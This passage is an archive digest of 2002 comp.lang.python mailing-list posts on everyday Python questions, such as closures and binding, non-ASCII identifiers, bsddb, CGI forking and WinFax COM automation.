a warrant for receiving a profit? > > any feedback would be greatly appreciated. > > Adonis > > > -- > http://mail.python.org/mailman/listinfo/python-list From phd at phd.pp.ru Sat May 4 12:30:06 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sat, 4 May 2002 20:30:06 +0400 Subject: high volume/speed gethostbyaddr how? In-Reply-To: ; from systhree@nospam.mailandnews.com on Sat, May 04, 2002 at 03:28:28PM +0200 References: Message-ID: <20020504203006.B30298@phd.pp.ru> On Sat, May 04, 2002 at 03:28:28PM +0200, Dan Polak wrote: > Good solution too but I didn't want the extra library so I went with > threads. Be warned that standard resolver library is not thread-safe. Be careful, be very careful. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From m.laranjeira at datacraft.com.br Mon May 20 14:10:32 2002 From: m.laranjeira at datacraft.com.br (Marcus Laranjeira) Date: Mon, 20 May 2002 15:10:32 -0300 Subject: Sort dictionary data Message-ID: <67F0CEAF5F0ED411B53900508BC5C8BC700105@admin.datacraft.com.br> All, I have a dictionary that I need to be sorted. the current structure is : dic { 'aaa', 1, 'bbb', 1, 'ccc', 3, 'ddd', 2, 'eee', 1} and I need this to be sorted and the final dictionary should be: dic { 'aaa', 1, 'bbb', 1, 'eee', 1, 'ddd', 2, 'ccc', 3} does anyone knows how can this be done ? Is there any ready module to do such sorting ? Thanks in advance, Marcus --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.360 / Virus Database: 199 - Release Date: 07/05/02 -------------- next part -------------- An HTML attachment was scrubbed... URL: From robin at jessikat.fsnet.co.uk Tue May 7 06:08:09 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Tue, 7 May 2002 11:08:09 +0100 Subject: article: MS in Peruvian open-source nightmare References: Message-ID: In article , Chris Liechti writes >a peruvian congressman answers to letter form MS. > >its an long, but interesting read in favor of open source (hi Oleg ;-). >i post this note here because GvR is metioned along with RMS, Linus and >others. > >here's the article from "The Register" (found on "/."): >http://www.theregister.co.uk/content/4/25157.html > >chris > I read this too and found it well informed and a good critique of both free and proprietary software in Government. I wish there was one British MP with the same clarity of thought and devotion to transparency. -- Robin Becker From aahz at pythoncraft.com Thu May 2 21:39:18 2002 From: aahz at pythoncraft.com (Aahz) Date: 2 May 2002 21:39:18 -0400 Subject: Killing a running thread References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> <20020502100911.A16352@eecs.tufts.edu> Message-ID: In article , Martin v. Loewis wrote: >Alexander Skwar writes: >> >> Yes, that's for the easy case of the readline loop. However, how could >> I break up a file.write() or a map()? > >For a map call, you need to check inside the callback function for a >flag. There is no way to get out of a file.write; you may try to use a >non-blocking write operation. I'd suggest that if you're expecting to break out of map() this way, you're probably better off coding the map() as an explicit loop. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From sholden at holdenweb.com Tue May 7 08:25:21 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 7 May 2002 08:25:21 -0400 Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: "Paul Foley" wrote in message news:m2y9ewu4fe.fsf at mycroft.actrix.gen.nz... > On Mon, 06 May 2002 15:15:59 GMT, Alex Martelli wrote: > > > Paul Foley wrote: > > ... > >> OK; question: what's the difference, if any, between > >> > >> x = n > >> do_something > >> > >> and > >> > >> def foo(x): > >> do_something > >> > >> foo(n) > >> > >> as far as x is concerned? > > > Assuming these snippets are top-level code, "the difference as > > far as x is concerned" is clearly that x is a global name in the > > first snippet, and a local name of foo in the second snippet. > > And if they're not at top level? The scope difference isn't really > what I was getting at. > > The point is that, in the case of something like > > def foo(x): > bar > x = 7 > baz > > there's only _one_ binding for x: doing "x = 7" just changes the value > in the preexisting binding. That's why > > def foo(x): > a = lambda: x > x = 7 > b = lambda: x > return a,b > > returns two functions that both return 7; if there was a new binding > after the "x = 7", the functions would return different values > [assuming you don't call foo(7), of course. Also assuming nested_scopes] > > > In Lisp, you can do both: > > (defun foo (x &aux a b) > (setq a (lambda () x)) > (setq x 7) ; assignment > (setq b (lambda () x)) > (list a b)) > > vs. > > (defun foo (x &aux a b) > (setq a (lambda () x)) > (let ((x 7)) ; binding > (setq b (lambda () x))) > (list a b)) > > > Note that > > (let ((a1 b1) (a2 b2)) ...) > > is essentially syntactic sugar for > > ((lambda (a1 a2) ...) b1 b2) > > Lambda is how you do binding; setq can only assign into an existing > binding. Same with Python's "=", except that the compiler notices any > assignments and automatically adds "&aux var" to the lambda list (to > put it in Lisp terms) -- and /that's/ what does the binding, not the > "=", which you can easily demonstrate: > > def test(): > print x > x = 42 > > raises an error because the (empty, error-causing) binding for x is > already in force when the "print" statement executes, before the "=" > is even reached. > So, it appears that you think binding is the implicit declaration assoicated with assignment to a name inside a particular scope? If so, it would seem particularly perverse of the implementors to have chosen the message "Unbound local variable" to indicate this situation. Clearly they regard the word "binding" as the act of associating a value with a name (which is to say, making an entry into the [admittedly conceptual] dictionary associated with a particular namespace). > >> Given that (lambda: x) /does/ close over x with nested scopes enabled, > >> can you explain why > >> > >> fns = getfns(seq) > >> > >> produces a list of functions that all return seq[-1]? And why, as you > > > Because "lambda: x" is a callable that returns whatever object name x is > > bound to at the time it's called (rather than, at the time it's created). > > Yes, but it captures the binding that's in effect at the time the > function is created (i.e., when the lambda form is evaluated, not when > it's eventually called). That's what "closure" means. > > And that's what I'm getting at: yes, when you call the function you > get whatever value is in that binding at the time of the call -- the > fact that all five functions return the same value shows that they all > share the same binding! > > >> def getfns2(seq): > >> return [(lambda x=x: x) for x in seq] > >> > >> produces functions that return all the elements of seq? > >> [Assume you call them with no arguments!] > > > Because "lambda x=x: x" is a callable that (when called with no arguments) > > returns whatever object name x was bound to at the time the callable was > > created (rather than, at the time it's called). > > Hmmm. Does it make a difference if I write (lambda q=x: q)? It still > returns whatever value the variable (now named q) is bound to at the > time of the call (/not/ when it was created!), but now you have a new > binding, not shared by the other functions; the value in that new > binding is the value of x at the time the binding was created [and you > can't change it, in Python, but that's not relevant] > > Of course, you could do > > def getfns2(seq): > return [(lambda x: lambda: x)(x) for x in seq] > > to get the same effect without the unwanted optional argument. > [Again, assuming nested_scopes is enabled] > > > What I'm saying is that when you explain Python to people by drawing > boxes for variables with arrows pointing at their values, as in the > recent thread, the binding is the box, or the box-and-arrow pair, not > the arrow. Assignment is making an arrow point somewhere else; > binding is making a new box, with its own arrow. [As long as you > don't have dynamic variables, anyway; but Python doesn't] > Paul, I'm afraid Alex isn't the only one who completely fails to understand your insistence on a distinction between binding and what you apparently call assignment (but which Alex and I would, I suspect, simply call rebinding). Consider namespaces as dictionaries. I *know* they aren't all implemented as dictionaries, but bear with me. You seem to be insisting that an operation is only a "binding" when the key (name) does not already exist in the dictionary (namespace). If the dictionary (namespace) already contains the key (name) then it's not a rebinding, it's an "assignment". Ultimately your argument appears to be a purely semantic one, and I really don't feel you have demonstrated why binding/rebinding is different from binding/assignment. you-say-assignment-i-say-tomato-ly y'rs - steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From tundra at tundraware.com Fri May 17 23:50:02 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Sat, 18 May 2002 03:50:02 GMT Subject: Python w/Forth Runtime???? References: <3CE5AFD3.32D59F@tundraware.com> <3CE5C208.5F41AD8A@tundraware.com> Message-ID: <3CE5CD61.AAA28676@tundraware.com> Christopher Browne wrote: > > In the last exciting episode, Tim Daneliuk wrote:: > > Gerhard H?ring wrote: > >> > >> Tim Daneliuk wrote in comp.lang.python: > >> > Python does just what needs doing ... see the end of this piece for why: > >> > > >> > http://www.tundraware.com/Technology/Bullet/ > >> > >> What's the connection with the Subject of your posting? > >> > > > > At the end of the piece I suggest that a "ideal" language would be one > > which has the paradigmatic richness of Python but whose runtime execution > > environment was reaslized in something very sleek and light like Forth. > > > > The overal article is about the dangers of locking into a single programming > > paradigm (like OO) for everything and that real world problems require > > multiple *simultaneous* paradigms for reasonable solutions. I think > > Python is almost alone in trying to incroporate that very idea in > > the language. > > Python is not alone in this. > > Common Lisp conspicuously supports multiple simultaneous paradigms. Could you expand on this a bit? It has been a *very* long time since I even looked at Lisp, let along programmed it... -- ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From aleax at aleax.it Wed May 8 02:49:57 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 08 May 2002 06:49:57 GMT Subject: Using functional tools References: <3CD39DAD.D5BC3F9C@vip.fi> <82znzgaw4x.fsf@acropolis.localdomain> <82sn58avea.fsf@acropolis.localdomain> <7934d084.0205071606.65f928a0@posting.google.com> Message-ID: Andrae Muys wrote: ... >> Or, if the OP's religion forbids 'fors' or 'whiles' under any >> circumstances: ... > Alternatively you can use the "obsolete" apply() and simplify the code > substantially. Not without 'for' or 'while' under the covers (you hid yours in your functions xmap and xextend). List comprehensions are way simpler. If you're going to code your own supporting functions anyway, it's clearly inappropriate to have 'apply' as a builtin, since, should you ever want it, it's by far the simplest of auxiliary functions to code yourself -- "def apply(f,a,k): return f(*a,**k)". Alex From byronh at bigpond.net.au Fri May 17 07:02:29 2002 From: byronh at bigpond.net.au (Byron Hammond) Date: Fri, 17 May 2002 11:02:29 GMT Subject: How many languages features are available for OO support? Message-ID: <9r5F8.142619$o66.424520@news-server.bigpond.net.au> To what extent does Python support OO? I know it has [multiple] inheritance and polymorphism etc, but to what extent does the language accomodate this and other OO concepts? Does Python support the notion of an abstract class or an interface through the use of language features? I ask this because not only do I want certain design decisions to be clear when reading the code, but I also want to make debugging easier for myself. I realize I can still implement the things I want to without the use of keywords etc, but for me, it is important I do what my design allows for, not what I want to. :-) Thanks Byron From mhammond at skippinet.com.au Fri May 24 20:36:05 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Sat, 25 May 2002 00:36:05 GMT Subject: win32com Excel problem References: <3CED5B00.22303062@wiencko.com> <3CED7A52.5030804@skippinet.com.au> <3CEEB445.46B1D46B@wiencko.com> Message-ID: <3CEEDCCF.3050207@skippinet.com.au> Tom Wiencko wrote: > Certainly. > > Here's the class I use to open and interact with any given spreadsheet. > If you are > the Mark Hammond of Python Programming on Win32 then this will look very > familiar: :) > Here's some sample processing logic (untested, but abstracted from a > test program I have used): ... > Or some such. The actual code I am using has very complex processing of > the > resulting data, but the data access routines are virtually identical. Is it possible for you to put together an actual program that you know works, and you know will reliably hang the win32com interface. If you have a program I need do nothing more to than run, then I will at least be able to see where the failure is. > If "Python Programming on Win32" is yours, I have to thank you for a > well written book > without which I would not have gotten much working in the win32 world. Thank you! > If you ever do a > second edition, however, I have a few things I would love to give you on > the ODBC module > description that would have saved me hours of experimenting and > frustration (not errors, but > simple easy interface characteristics that were really not documented > anywhere). Thanks for the suggestion. A second edition hasn't been started yet, but I am sure it will be one day ;) Mark. From pinard at iro.umontreal.ca Wed May 8 19:44:53 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 08 May 2002 19:44:53 -0400 Subject: Multibyte Character Surport for Python In-Reply-To: References: Message-ID: [Alex Martelli] > Fran?ois Pinard wrote: > > If many people had experienced the pleasure of naming variables properly > > for their national language while programming, I guess most of them would > > be rather enthusiastic proponents on having this capability with Python, > This one person has had this dubious "pleasure" and loathes the idea > with a vengeance. :-) :-) :-) > The very *IDEA* of cutting off the huge majority of programmers in the > world, who don't understand Italian, from being able to understand and > work with my code, is utterly abhorrent to me. Granted. You are a public man, and are quite visible in public fields. But people are not all alike! I worked in many areas and teams in my life, and wrote a lot of code in English when meant to be widely available. At other times and circumstances, this just does not apply. Besides, I know and work with people doing humble jobs in close shops, some have done this for a lot of years, and they are good, nice and intelligent people. Many of these people like their own language, and find English to be a constant suffering, that is, much, much more than in my own case. Oh, being prevented from writing French identifiers correctly always irritated me, for dozens of years now: this is a mild, yet permanent irritation. I keep smiling and sleep at night, so don't worry :-). Yet, I'm very sympathetic to those I know who are far less comfortable in English than I am. > Long live a world where ONE natural language (don't care which one: ONE, > I can learn) opens to me the doors of the (programming) world. If you feel happy in the Borg collective, I'm glad you are happy. :-) Seriously, however, many of us do not aspire to assimilation, and would like to think that resistance is not wholly futile. When one lives a full computer life in French, say, with no appetite for international visibility, limitations coming from the English languages are fully artificial. There are plenty of programs around here, I see many of them every week, written with all French identifiers, yet full of orthographical mistakes, because the limitations of ASCII. These people are lost anyway for your cause of ONE universal natural language. Let's accept that the difference exists. I beg that for those people (me included), who do not spouse the idea of English being universal, we consider that Python could be more friendly, and not merely use the example of other programming languages as an excuse for dismissing that there is a need. Python has its own distinctive marks and ideas, nicely supporting national local teams could be one more. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From danielk at aracnet.com Thu May 30 08:40:53 2002 From: danielk at aracnet.com (Daniel Klein) Date: Thu, 30 May 2002 05:40:53 -0700 Subject: How to concatenate list members References: Message-ID: <387cfucsvpvu799io05t95k5qhjv6tq9mm@4ax.com> On Thu, 30 May 2002 14:02:38 +0200, "Ruediger Maehl" wrote: >Hello Pythoneers, > >I would like to concatenate all members of a list of strings. >How can I do that? >I know, I can use a for loop over all elements and concatenate >them to one string. But is there another more efficient solution? > >R?diger > ># =========================================== >def concat1(alist, sep=" "): > res = "" > for e in alist: > res += str(e) > res += sep > > return res[:-1] > >a = ["200100002", "200100003", "200100004"] # many many more to come ... > >b = concat1(a, "_") > >print b > ># and b then looks like this: ># "200100002_200100003_200100004" Try this: def concat1(alist,sep=" "): return sep.join(alist) I think you need at least Python2.0 for this. Otherwise change it to: import string def concat1(alist, sep=" "): return string.join(alist,sep) Daniel Klein From samschul at pacbell.net Fri May 17 13:01:29 2002 From: samschul at pacbell.net (Samuel Schulenburg) Date: 17 May 2002 10:01:29 -0700 Subject: Strange error in IDLE References: <409a56e2.0205170241.5e5bba2e@posting.google.com> Message-ID: shagshag13 at yahoo.fr (Shagshag) wrote in message news:<409a56e2.0205170241.5e5bba2e at posting.google.com>... > Well i do that : > > ---- > > Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 > Type "copyright", "credits" or "license" for more information. > IDLE 0.8 -- press F1 for help > >>> def get_openingTag(node): > """ > """ > global SPECIALS_CHARS > #if node.nodeType == node.ELEMENT_NODE: > tmp = node.toxml() > tmp = remove_chars(tmp, SPECIALS_CHARS) > opening_tag = tmp[:tmp.index('>')] + '>' > return opening_tag > > ---- > > then press return type "get_openingTag(" > > and then it do that before i go further : > > ---- > > >>> Exception in Tkinter callback > Traceback (most recent call last): > File "D:\Python22\lib\lib-tk\Tkinter.py", line 1292, in __call__ > return apply(self.func, args) > File "D:\PYTHON22\Tools\idle\CallTips.py", line 51, in paren_open_event > arg_text = get_arg_text(self.get_object_at_cursor()) > File "D:\PYTHON22\Tools\idle\CallTips.py", line 148, in get_arg_text > while doc[:1] in " \t\n": > TypeError: 'in ' requires character as left operand > > ---- > > think there is a bug, no ??? The callTips routine is correctly reporting that you have not inserted a string within the Documentation string. I do not understand why you would want to create a null string for documentation. Sam Schulenburg From greg at cosc.canterbury.ac.nz Tue May 14 22:56:43 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 15 May 2002 14:56:43 +1200 Subject: Oberon in Python, ala Pyrex but instant compile? References: <3ce11bc3_4@goliath.newsgroups.com> Message-ID: <3CE1CE6B.4C39A3D1@cosc.canterbury.ac.nz> Brad Clements wrote: > > But I wondering if this is too crazy an idea or not. Have something like > Pyrex write Oberon code, run it through an Oberon compiler and dynamically > load the resulting module. I suppose it could be done, provided you can make calls to the Python/C API from Oberon code. I don't know enough about current Oberon implementations to know whether this is possible. Anyway, feel free to hack on Pyrex to make it generate Oberon, and let me know how you get on! -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From skip at pobox.com Thu May 30 11:26:04 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 30 May 2002 10:26:04 -0500 Subject: Survey: bsddb is definitely broken. Should it be fixed, or deprecated? In-Reply-To: References: <4c877253.0205091721.6f675f81@posting.google.com> Message-ID: <15606.17548.34442.644412@12-248-41-177.client.attbi.com> Roy> garth at deadlybloodyserious.com (Garth T Kidd) wrote: >> Frankly, I'd rather people use dumbdbm (slow) than bsddb >> (unreliable), but I'd like to hear what everyone else thinks. Roy> I agree. Fast is good, but working is better. I'm still unconvinced that there is a problem with the bsddb module. If people use the hash file implementation from version 1 of the underlying Berkeley DB library, they are going to run into problems. Version 2 and Version 3 are both available (have been for a long time) and don't suffer from this problem. If people want not to use bsddb as an anydbm option, they can execute import anydbm anydbm._names = ['gdbm', 'dbm', 'dumbdbm'] or some other combination of suitable module names. Messing with that in the core is not really a very good option, since shuffling that list will cause existing code to break (won't be able to open existing databases). You have to know what the implications are of changing anydbm._names. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) Boycott Netflix - they spam - http://www.musi-cal.com/~skip/netflix.html From mlh at vier.idi.ntnu.no Sat May 11 14:49:14 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Sat, 11 May 2002 18:49:14 +0000 (UTC) Subject: path.startswith(dir)? References: <3CDD6518.3010707@dittmar.net> Message-ID: In article <3CDD6518.3010707 at dittmar.net>, Daniel Dittmar wrote: [snip] >On Windows: > >>> os.path.abspath ('.') >'H:\\Perforce' > >>> os.path.abspath ('h:\\perforce') >'h:\\perforce' > >You'll have to add a os.path.normcase into the mix. Ah... Perhaps os.path.commonprefix is better after all... >Daniel -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From marduk at python.net Sun May 19 21:23:28 2002 From: marduk at python.net (marduk) Date: 19 May 2002 20:23:28 -0500 Subject: string module In-Reply-To: References: Message-ID: <1021857810.1956.15.camel@berkowitz> On Sun, 2002-05-19 at 19:43, Phil Hystad wrote: > I have python on linux (suse) and the string.uppercase and string.lowercase > values are a bit strange. > > For example, string.uppercase has the following values: > > ABCDEFGHIJKLMNOPQRSTUVWXYZ\xC0\xC1\xC2....\xCde > [...] > Is this a garbled module or a feature? It's Unicode. --m Posted Via Usenet.com Premium Usenet Newsgroup Services ---------------------------------------------------------- ** SPEED ** RETENTION ** COMPLETION ** ANONYMITY ** ---------------------------------------------------------- http://www.usenet.com From rnd at onego.ru Wed May 29 10:43:00 2002 From: rnd at onego.ru (Roman Suzi) Date: Wed, 29 May 2002 18:43:00 +0400 (MSD) Subject: Browsing a big mailbox offline In-Reply-To: Message-ID: On Wed, 29 May 2002, Sheila King wrote: >On 29 May 2002 09:58:04 GMT, Sebastien SAUVAGE >wrote in comp.lang.python in article <2002529-10584-626303 at foorum.com>: > >> >> Hello. >> >> I'm looking for a convenient way for browsing *offline* the >> marvellous comp.lang.python archive (a nice 397 Mb mailbox file available at >> http://mail.python.org/pipermail/python-list/ ) >> >> I found no news client capable of reading/importing a raw unix mailbox. >> Does anybody know a news client capable of this ? >> (platform : Windows) Netscape 3.0 did it. Also The Bat! mail program does it well. >-- >Sheila King >http://www.thinkspot.net/sheila/ >http://www.k12groups.org/ > > Sincerely yours, Roman Suzi -- \_ Russia \_ Karelia \_ Petrozavodsk \_ rnd at onego.ru \_ \_ Wednesday, May 29, 2002 \_ Powered by Linux RedHat 7.2 \_ \_ "As a matter of fact, no, I don't have a life." \_ From pinard at iro.umontreal.ca Fri May 31 10:06:31 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 31 May 2002 10:06:31 -0400 Subject: __import__ .vs. sys.modules Message-ID: Hello, people. Yesterday, someone suggested on this list that: module = sys.modules[__name__] should best be written: module = __import__(__name__) This looked nice to me, at first. However, if `__name__' contains dots, only the first of the above writing works. The second could be made to work by splitting `__name__' at periods and doing more stunts after that, but then, it becomes heavier and does not seem worth all the trouble. So, maybe the first writing is best, after all. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From aleax at aleax.it Sun May 12 15:01:02 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 12 May 2002 19:01:02 GMT Subject: python cryptography toolkit References: <87it68b3z2.fsf@tux.ntw23.fr> <3cdeb326.16139670@news1.news.adelphia.net> Message-ID: Burt Leavenworth wrote: > Is there any way to substitute the GNU GCC compiler for Microsoft's? http://www.python.org/doc/current/inst/non-ms-compilers.html Alex From pinard at iro.umontreal.ca Wed May 8 21:42:26 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 08 May 2002 21:42:26 -0400 Subject: Multibyte Character Surport for Python In-Reply-To: References: Message-ID: [Chris Liechti] > i wouldn't allow non ASCII chars. [...] think of someone in a foreign > country who just does not have those keys on his keyboard. So, you want to protect people against technical difficulties they might meet? It might be better leaving this choice to them. Using computers in localised environments require many things, among which keyboards and displays. People usually manage. Admire them. Help them. :-) > how many languages must a programmer learn to work on sources if english > isn't sufficient? Most of us have a language that we learned at very low age, and which we progressively mastered while growing up, and which is permanent part of our lives. See: I do not have to learn French to write French identifiers. For most English people, English is sufficient. What is the problem you see? > and how many encodings will be allowed? need i have to a zillion code > pages on my machine [...] I think Python has already travelled a good part of that road already. As a French speaker and writer, I rarely touches more than two or three encodings. > [...] i think it will become very nasty if you must write the correct > encoding in each source file... Annoying, maybe. However, this is much, much less nasty than writing English all over, for people not having a genuine reason or appeal to do so. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From chouster at uclink4.berkeley.edu Fri May 31 16:42:21 2002 From: chouster at uclink4.berkeley.edu (Chris) Date: 31 May 2002 13:42:21 -0700 Subject: Forking problem Message-ID: <79b54d28.0205311242.107dc392@posting.google.com> I'm developing a CGI script in Python. I'm forking a procedure off of the parent and I think everything is right. The only thing that's going wrong is that it doesnt seem to be executing the external script in the way that I expect. I ran the external script manually from the shell command line and it takes roughly a minute to complete, however in the way I do it in my script (see code below) it seems to skip over that line in a second (it would be less time but I do have a sleep function encoded). It SEEMS as though it is skipping over the line completely. I programmed the external script to drop a file with the output to indicate that it has indeed done something. When I do it manually the temp file appears, but when I do it from the program, no temp file appears yet there are no complaints that anything has gone wrong. I'm CONFUSED!! So please help me a) determine why it seemingly doesnt execute my program and b) given that (a) is fixed, why no printing occurs to my webpage even though I program my CGI script such that it prints the processes output stream to my webpage. Thanks! ----CODE----- if (os.fork() == 0): #(inStream, outStream, errStream) = os.popen3("sync2rnaidb_copy.py") #print err os.system("myCommand") #have faith that myCommand is correct print "If I see this it should mean that the process was run." os._exit(0) else: # controlling parent process while 1: # check if child has exited, but don't block (pid, status) = os.waitpid(-1, os.WNOHANG) if pid > 0: print ExHtml.startHtml("Doing request..."), \ "Process completed!", \ Html.linebreak(), \ Html.endHtml() break else: print Html.startHtml("Doing request..."), \ ".", \ Html.endHtml() time.sleep(1) #FINISH ------------------------- ---- WEB PAGE OUTPUT ---- Please wait while we process your request. . . . . If I see this it should mean that the process was run. Process completed! -------------------------- Everything runs smoothly (i.e. no uncaught exceptions, strack traces, etc). I'm running off oa UNIX system if that means anything. Python 2.2.1. HELP ME PLEASE! Chris From tatebll at aol.com Fri May 10 09:32:33 2002 From: tatebll at aol.com (Bill Tate) Date: 10 May 2002 06:32:33 -0700 Subject: Python Enterprise Objects References: Message-ID: python at dohao.org (Wenshan Du) wrote in message news:... > hi,all > I like python very much, but I find that python is not very suitable > for enterprise application for now. So, I make a project named Python > Enterprise Objects for enterprise application at sourceforge.net. I > want it to be a replacement of J2EE, or Mirosoft .Net framework. Some > API will added. I need some advice about how to make this dream to > fact. > You can see my project at: > http://sourceforge.net/projects/peo > Thanks a lot. While I applaud your intent (re: "replacement of J2EE or.. .NET") - I would kindly suggest you bear in mind what your up against. All hype aside, Java is and/or will offer solutions from the embedded and mobile device levels all the way up to corporate IT systems. At the embedded device level, concerns about Java's "non-deterministic" nature are being addressed by the new Real Time Java spec. I think you can pretty much take it for granted that Java will eventually have a very good footing both in the embedded and mobile device markets. Check out the #1 RTOS vendor VxWorks and see what they're saying about java. If I'm not mistaken, you have most, if not all, the major telecom vendors (Nokia, et.al.) shipping products with java as well. Recently, there has been a fair amount of material published about "Java on Silicon" which suggests that we will continue to see the speed issue addressed. I'll ignore the desktop applications because, quite frankly, you need only look at where most of the major corporate application tools are going to imagine that java's virtual non-existence on the desktop is not going to be a real limiting factor. If your servers and small devices are running java, and you also have strong support for xml/soap/web services, the story is a fairly compelling one. I don't wish to dissuade you, but I would caution you to carefully consider what pieces are "missing" from the python "enterprise" puzzle before you go tilting at windmills :>) Good luck. From pinard at iro.umontreal.ca Thu May 30 15:24:39 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 30 May 2002 15:24:39 -0400 Subject: Avoiding `exec', how to? Message-ID: Hi, my fellow snakes :-). I do not like using `exec', and wonder if there is a way to avoid it in: # Fabriquer une variable globale pour chaque ?l?ment de DEFS. for name, value in defs.__dict__.items(): if name[0] != '_': # J'aimerais bien ?viter `exec'... exec '%s = %s' % (name, repr(value)) del defs, name, value The goal here is to initialise one global variable per item in DEFS, preserving the item name and value in each. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From mcfletch at rogers.com Mon May 13 17:47:17 2002 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Mon, 13 May 2002 17:47:17 -0400 Subject: Read file from bottom References: <3CE01380.81F9A087@jpl.nasa.gov> <3CE026E9.DAB30A8F@jpl.nasa.gov> Message-ID: <3CE03465.1080907@rogers.com> Just as another approach (though the implementation is a little hacky, I whipped it off rather quickly and haven't refactored it). For your actual project, you'd likely cache lines on reading them (splitting the read data on '\n', and adding the first block to the next read's results), then pass in a function to process each line checking for a match. A sub-class could use these techniques to create a true reversible-file object (letting you do "fh.readline()" to get a particular line), but I don't have time today. Anyway, for your consideration: import os, stat def tail( filename, count=2, mode = 'r', sentinel='\n', blocksize = 2048 ): size = os.stat( filename )[ stat.ST_SIZE ] cache = [] currentCount = 0 currentPosition = size fh = open(filename, mode ) while currentCount < count: fh.seek( currentPosition-blocksize ) new = fh.read( blocksize ) currentCount = currentCount + new.count(sentinel) cache.append( new ) currentPosition = currentPosition-blocksize cache = "".join( cache ) currentCount = 0 position = len( cache ) while currentCount < count: position = cache.rindex( sentinel, 0, position ) currentCount = currentCount + 1 return cache[position:] Enjoy, Mike Julia Bell wrote: ... >>Julia Bell wrote: >> >> >>>Is there an efficient (and relatively easy - I'm new to Python) way of >>>reading the file from the last line backward instead of the first line >>>forward? >> >> >>tail | python script.py >> >>-- >>William Park, Open Geometry Consulting, >>8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin ... _______________________________________ Mike C. Fletcher http://members.rogers.com/mcfletch/ From pyth at devel.trillke.net Mon May 13 20:46:49 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 14 May 2002 02:46:49 +0200 Subject: dynamic functions In-Reply-To: ; from merkosh@hadiko.de on Tue, May 14, 2002 at 02:08:18AM +0200 References: Message-ID: <20020514024649.F28033@prim.han.de> Uwe Mayer wrote: > I want to concatenate boolean functions, i.e. lambda x: x < 10; during > runtime with "and" and "or". > However something like: > > d = lambda x: x < 10 > d = lambda x: d(x) and (x %2 == 0) note that the name 'd' in 'd(x)' is *not* resolved at definition time. this happens at calling time. But at calling time of 'd' you call 'd' again and again ... > won't work and will end up in an infinite recursion (as far as I can > figure out). > How do you do something like that in python? you don't use confusing names: func1 = lambda x: x < 10 func2 = lambda x: func1(x) and (x%2==0) regards, holger From audballio at yahoo.com Mon May 20 20:20:38 2002 From: audballio at yahoo.com (David Aldridge) Date: Tue, 21 May 2002 00:20:38 GMT Subject: Problems importing _sre w/VC7-compiled Python 2.1 References: Message-ID: I just submitted the bug. Will be interesting to see what the "correct" fix is, if it's not the one I posted :) Cheers, David "Fredrik Lundh" wrote in message news:GJcG8.8159$p56.2327369 at newsb.telia.net... > Andrew MacIntyre wrote: > > On 19 May 2002, David Aldridge wrote: > > > > > After more investigation, turns out init_sre() was NOT > > > __declspec(dllexport)! > > > > I had been under the impression that sre was intended to always be built > > into the Python core (ie not as a loadable extension module), which might > > explain some of what you found. > > SRE builds just fine as a DLL, and uses a DL_EXPORT statement > to make sure it exports the right stuff. this works perfectly fine > under VC5 and VC6. > > looks like the DL_EXPORT stuff simply doesn't work under VC7. > someone should file a bug report (http://www.python.org/dev/). > > > > From SSchukat at dspace.de Wed May 22 03:51:33 2002 From: SSchukat at dspace.de (Stefan Schukat) Date: Wed, 22 May 2002 08:51:33 +0100 Subject: PythonCOM Problem: Automating WinFAX from Python Message-ID: <84257D042AA7D411B3F700D0B7DB9B7C13B14A@PDC-DSPACE> Hi, the MFC Wrapper (COleDispatchDriver) which is described in the SDK does not translate the functions marked as properties in the interface to properties of the object. In Python this is done, so the translated code would be: >>> import win32com >>> import win32com.client >>> send_obj = win32com.client.Dispatch("WinFax.SDKSend") >>> appObj = send_obj.Application >>> appObj.LeaveRunning(1) >>> del send_obj Or try to use >>> from win32com.client import gencache >>> send_obj = gencache.EnsureDispatch("WinFax.SDKSend") and if a typelib is registerd you will get the full intellitips. Stefan -----Original Message----- From: Tino Lange [mailto:tl_news at nexgo.de] Sent: Tuesday, May 21, 2002 5:38 PM To: python-list at python.org Subject: PythonCOM Problem: Automating WinFAX from Python Hi! I have a problem with com-based WinFAX (10.02) remote programming. According to the SDK documentation I need to dispatch an arbitrary SDKObject to get the pionter to the "mother-object" Application Server. "The Application Object is not accessible through "CoCreateInstance" or CoGetClassObject" as there are no registry entries associated with this object. The client usually holds a pointerto one of the other WinFax Automation Server 